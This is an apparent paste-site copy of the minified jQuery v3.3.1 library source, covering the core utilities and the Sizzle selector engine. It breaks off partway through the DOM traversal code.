· 8 years ago · Apr 30, 2018, 08:30 PM
1/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */
2!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",I="\\["+M+"*("+R+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+R+"))|)"+M+"*\\]",W=":("+R+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+I+")*)|.*)\\)|)",$=new RegExp(M+"+","g"),B=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),F=new RegExp("^"+M+"*,"+M+"*"),_=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),z=new RegExp("="+M+"*([^\\]'\"]*?)"+M+"*\\]","g"),X=new RegExp(W),U=new RegExp("^"+R+"$"),V={ID:new RegExp("^#("+R+")"),CLASS:new RegExp("^\\.("+R+")"),TAG:new RegExp("^("+R+"|[*])"),ATTR:new RegExp("^"+I),PSEUDO:new RegExp("^"+W),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+P+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},G=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Q=/^[^{]+\{\s*\[native \w/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,K=/[+~]/,Z=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ee=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},te=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ne=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},re=function(){p()},ie=me(function(e){return!0===e.disabled&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{L.apply(A=H.call(w.childNodes),w.childNodes),A[w.childNodes.length].nodeType}catch(e){L={apply:A.length?function(e,t){q.apply(e,H.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function oe(e,t,r,i){var o,s,l,c,f,h,v,m=t&&t.ownerDocument,T=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==T&&9!==T&&11!==T)return r;if(!i&&((t?t.ownerDocument||t:w)!==d&&p(t),t=t||d,g)){if(11!==T&&(f=J.exec(e)))if(o=f[1]){if(9===T){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&x(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return L.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return L.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!S[e+" "]&&(!y||!y.test(e))){if(1!==T)m=t,v=e;else if("object"!==t.nodeName.toLowerCase()){(c=t.getAttribute("id"))?c=c.replace(te,ne):t.setAttribute("id",c=b),s=(h=a(e)).length;while(s--)h[s]="#"+c+" "+ve(h[s]);v=h.join(","),m=K.test(e)&&ge(t.parentNode)||t}if(v)try{return L.apply(r,m.querySelectorAll(v)),r}catch(e){}finally{c===b&&t.removeAttribute("id")}}}return u(e.replace(B,"$1"),t,r,i)}function ae(){var e=[];function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}return t}function se(e){return e[b]=!0,e}function ue(e){var t=d.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function le(e,t){var n=e.split("|"),i=n.length;while(i--)r.attrHandle[n[i]]=t}function ce(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function fe(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function pe(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function de(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ie(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function he(e){return se(function(t){return t=+t,se(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ge(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}n=oe.support={},o=oe.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},p=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==d&&9===a.nodeType&&a.documentElement?(d=a,h=d.documentElement,g=!o(d),w!==d&&(i=d.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",re,!1):i.attachEvent&&i.attachEvent("onunload",re)),n.attributes=ue(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=ue(function(e){return e.appendChild(d.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=Q.test(d.getElementsByClassName),n.getById=ue(function(e){return h.appendChild(e).id=b,!d.getElementsByName||!d.getElementsByName(b).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&g)return t.getElementsByClassName(e)},v=[],y=[],(n.qsa=Q.test(d.querySelectorAll))&&(ue(function(e){h.appendChild(e).innerHTML="<a id='"+b+"'></a><select id='"+b+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+P+")"),e.querySelectorAll("[id~="+b+"-]").length||y.push("~="),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+b+"+*").length||y.push(".#.+[+~]")}),ue(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=d.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),h.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(n.matchesSelector=Q.test(m=h.matches||h.webkitMatchesSelector||h.mozMatchesSelector||h.oMatchesSelector||h.msMatchesSelector))&&ue(function(e){n.disconnectedMatch=m.call(e,"*"),m.call(e,"[s!='']:x"),v.push("!=",W)}),y=y.length&&new RegExp(y.join("|")),v=v.length&&new RegExp(v.join("|")),t=Q.test(h.compareDocumentPosition),x=t||Q.test(h.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},D=t?function(e,t){if(e===t)return f=!0,0;var r=!e.compareDocumentPosition-!t.compareDocumentPosition;return r||(1&(r=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!n.sortDetached&&t.compareDocumentPosition(e)===r?e===d||e.ownerDocument===w&&x(w,e)?-1:t===d||t.ownerDocument===w&&x(w,t)?1:c?O(c,e)-O(c,t):0:4&r?-1:1)}:function(e,t){if(e===t)return f=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e===d?-1:t===d?1:i?-1:o?1:c?O(c,e)-O(c,t):0;if(i===o)return ce(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?ce(a[r],s[r]):a[r]===w?-1:s[r]===w?1:0},d):d},oe.matches=function(e,t){return oe(e,null,null,t)},oe.matchesSelector=function(e,t){if((e.ownerDocument||e)!==d&&p(e),t=t.replace(z,"='$1']"),n.matchesSelector&&g&&!S[t+" "]&&(!v||!v.test(t))&&(!y||!y.test(t)))try{var r=m.call(e,t);if(r||n.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(e){}return oe(t,d,null,[e]).length>0},oe.contains=function(e,t){return(e.ownerDocument||e)!==d&&p(e),x(e,t)},oe.attr=function(e,t){(e.ownerDocument||e)!==d&&p(e);var i=r.attrHandle[t.toLowerCase()],o=i&&N.call(r.attrHandle,t.toLowerCase())?i(e,t,!g):void 0;return void 0!==o?o:n.attributes||!g?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},oe.escape=function(e){return(e+"").replace(te,ne)},oe.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},oe.uniqueSort=function(e){var t,r=[],i=0,o=0;if(f=!n.detectDuplicates,c=!n.sortStable&&e.slice(0),e.sort(D),f){while(t=e[o++])t===e[o]&&(i=r.push(o));while(i--)e.splice(r[i],1)}return c=null,e},i=oe.getText=function(e){var t,n="",r=0,o=e.nodeType;if(o){if(1===o||9===o||11===o){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===o||4===o)return e.nodeValue}else while(t=e[r++])n+=i(t);return n},(r=oe.selectors={cacheLength:50,createPseudo:se,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||"").replace(Z,ee),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||oe.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&oe.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return V.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&E(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=oe.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace($," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,p,d,h,g=o!==a?"nextSibling":"previousSibling",y=t.parentNode,v=s&&t.nodeName.toLowerCase(),m=!u&&!s,x=!1;if(y){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===v:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?y.firstChild:y.lastChild],a&&m){x=(d=(l=(c=(f=(p=y)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1])&&l[2],p=d&&y.childNodes[d];while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if(1===p.nodeType&&++x&&p===t){c[e]=[T,d,x];break}}else if(m&&(x=d=(l=(c=(f=(p=t)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1]),!1===x)while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===v:1===p.nodeType)&&++x&&(m&&((c=(f=p[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]=[T,x]),p===t))break;return(x-=i)===r||x%r==0&&x/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||oe.error("unsupported pseudo: "+e);return i[b]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,n){var r,o=i(e,t),a=o.length;while(a--)e[r=O(e,o[a])]=!(n[r]=o[a])}):function(e){return i(e,0,n)}):i}},pseudos:{not:se(function(e){var t=[],n=[],r=s(e.replace(B,"$1"));return r[b]?se(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:se(function(e){return function(t){return oe(e,t).length>0}}),contains:se(function(e){return e=e.replace(Z,ee),function(t){return(t.textContent||t.innerText||i(t)).indexOf(e)>-1}}),lang:se(function(e){return U.test(e||"")||oe.error("unsupported lang: "+e),e=e.replace(Z,ee).toLowerCase(),function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===h},focus:function(e){return e===d.activeElement&&(!d.hasFocus||d.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:de(!1),disabled:de(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return Y.test(e.nodeName)},input:function(e){return G.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:he(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:he(function(e,t,n){for(var r=n<0?n+t:n;--r>=0;)e.push(r);return e}),gt:he(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=r.pseudos.eq;for(t in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})r.pseudos[t]=fe(t);for(t in{submit:!0,reset:!0})r.pseudos[t]=pe(t);function ye(){}ye.prototype=r.filters=r.pseudos,r.setFilters=new ye,a=oe.tokenize=function(e,t){var n,i,o,a,s,u,l,c=k[e+" "];if(c)return t?0:c.slice(0);s=e,u=[],l=r.preFilter;while(s){n&&!(i=F.exec(s))||(i&&(s=s.slice(i[0].length)||s),u.push(o=[])),n=!1,(i=_.exec(s))&&(n=i.shift(),o.push({value:n,type:i[0].replace(B," ")}),s=s.slice(n.length));for(a in r.filter)!(i=V[a].exec(s))||l[a]&&!(i=l[a](i))||(n=i.shift(),o.push({value:n,type:a,matches:i}),s=s.slice(n.length));if(!n)break}return t?s.length:s?oe.error(e):k(e,u).slice(0)};function ve(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function me(e,t,n){var r=t.dir,i=t.next,o=i||r,a=n&&"parentNode"===o,s=C++;return t.first?function(t,n,i){while(t=t[r])if(1===t.nodeType||a)return e(t,n,i);return!1}:function(t,n,u){var l,c,f,p=[T,s];if(u){while(t=t[r])if((1===t.nodeType||a)&&e(t,n,u))return!0}else while(t=t[r])if(1===t.nodeType||a)if(f=t[b]||(t[b]={}),c=f[t.uniqueID]||(f[t.uniqueID]={}),i&&i===t.nodeName.toLowerCase())t=t[r]||t;else{if((l=c[o])&&l[0]===T&&l[1]===s)return p[2]=l[2];if(c[o]=p,p[2]=e(t,n,u))return!0}return!1}}function xe(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function be(e,t,n){for(var r=0,i=t.length;r<i;r++)oe(e,t[r],n);return n}function we(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Te(e,t,n,r,i,o){return r&&!r[b]&&(r=Te(r)),i&&!i[b]&&(i=Te(i,o)),se(function(o,a,s,u){var l,c,f,p=[],d=[],h=a.length,g=o||be(t||"*",s.nodeType?[s]:s,[]),y=!e||!o&&t?g:we(g,p,e,s,u),v=n?i||(o?e:h||r)?[]:a:y;if(n&&n(y,v,s,u),r){l=we(v,d),r(l,[],s,u),c=l.length;while(c--)(f=l[c])&&(v[d[c]]=!(y[d[c]]=f))}if(o){if(i||e){if(i){l=[],c=v.length;while(c--)(f=v[c])&&l.push(y[c]=f);i(null,v=[],l,u)}c=v.length;while(c--)(f=v[c])&&(l=i?O(o,f):p[c])>-1&&(o[l]=!(a[l]=f))}}else v=we(v===a?v.splice(h,v.length):v),i?i(null,a,v,u):L.apply(a,v)})}function Ce(e){for(var t,n,i,o=e.length,a=r.relative[e[0].type],s=a||r.relative[" "],u=a?1:0,c=me(function(e){return e===t},s,!0),f=me(function(e){return O(t,e)>-1},s,!0),p=[function(e,n,r){var i=!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):f(e,n,r));return t=null,i}];u<o;u++)if(n=r.relative[e[u].type])p=[me(xe(p),n)];else{if((n=r.filter[e[u].type].apply(null,e[u].matches))[b]){for(i=++u;i<o;i++)if(r.relative[e[i].type])break;return Te(u>1&&xe(p),u>1&&ve(e.slice(0,u-1).concat({value:" "===e[u-2].type?"*":""})).replace(B,"$1"),n,u<i&&Ce(e.slice(u,i)),i<o&&Ce(e=e.slice(i)),i<o&&ve(e))}p.push(n)}return xe(p)}function Ee(e,t){var n=t.length>0,i=e.length>0,o=function(o,a,s,u,c){var f,h,y,v=0,m="0",x=o&&[],b=[],w=l,C=o||i&&r.find.TAG("*",c),E=T+=null==w?1:Math.random()||.1,k=C.length;for(c&&(l=a===d||a||c);m!==k&&null!=(f=C[m]);m++){if(i&&f){h=0,a||f.ownerDocument===d||(p(f),s=!g);while(y=e[h++])if(y(f,a||d,s)){u.push(f);break}c&&(T=E)}n&&((f=!y&&f)&&v--,o&&x.push(f))}if(v+=m,n&&m!==v){h=0;while(y=t[h++])y(x,b,a,s);if(o){if(v>0)while(m--)x[m]||b[m]||(b[m]=j.call(u));b=we(b)}L.apply(u,b),c&&!o&&b.length>0&&v+t.length>1&&oe.uniqueSort(u)}return c&&(T=E,l=w),x};return n?se(o):o}return s=oe.compile=function(e,t){var n,r=[],i=[],o=S[e+" "];if(!o){t||(t=a(e)),n=t.length;while(n--)(o=Ce(t[n]))[b]?r.push(o):i.push(o);(o=S(e,Ee(i,r))).selector=e}return o},u=oe.select=function(e,t,n,i){var o,u,l,c,f,p="function"==typeof e&&e,d=!i&&a(e=p.selector||e);if(n=n||[],1===d.length){if((u=d[0]=d[0].slice(0)).length>2&&"ID"===(l=u[0]).type&&9===t.nodeType&&g&&r.relative[u[1].type]){if(!(t=(r.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;p&&(t=t.parentNode),e=e.slice(u.shift().value.length)}o=V.needsContext.test(e)?0:u.length;while(o--){if(l=u[o],r.relative[c=l.type])break;if((f=r.find[c])&&(i=f(l.matches[0].replace(Z,ee),K.test(u[0].type)&&ge(t.parentNode)||t))){if(u.splice(o,1),!(e=i.length&&ve(u)))return L.apply(n,i),n;break}}}return(p||s(e,d))(i,t,!g,n,!t||K.test(e)&&ge(t.parentNode)||t),n},n.sortStable=b.split("").sort(D).join("")===b,n.detectDuplicates=!!f,p(),n.sortDetached=ue(function(e){return 1&e.compareDocumentPosition(d.createElement("fieldset"))}),ue(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||le("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),n.attributes&&ue(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||le("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ue(function(e){return null==e.getAttribute("disabled")})||le(P,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),oe}(e);w.find=E,w.expr=E.selectors,w.expr[":"]=w.expr.pseudos,w.uniqueSort=w.unique=E.uniqueSort,w.text=E.getText,w.isXMLDoc=E.isXML,w.contains=E.contains,w.escapeSelector=E.escape;var k=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&w(e).is(n))break;r.push(e)}return r},S=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},D=w.expr.match.needsContext;function N(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var A=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,t,n){return g(t)?w.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?w.grep(e,function(e){return e===t!==n}):"string"!=typeof t?w.grep(e,function(e){return u.call(t,e)>-1!==n}):w.filter(t,e,n)}w.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,function(e){return 1===e.nodeType}))},w.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(w(e).filter(function(){for(t=0;t<r;t++)if(w.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)w.find(e,i[t],n);return r>1?w.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&D.test(e)?w(e):e||[],!1).length}});var q,L=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var i,o;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:L.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:r,!0)),A.test(i[1])&&w.isPlainObject(t))for(i in t)g(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(o=r.getElementById(i[2]))&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):g(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,q=w(r);var H=/^(?:parents|prev(?:Until|All))/,O={children:!0,contents:!0,next:!0,prev:!0};w.fn.extend({has:function(e){var 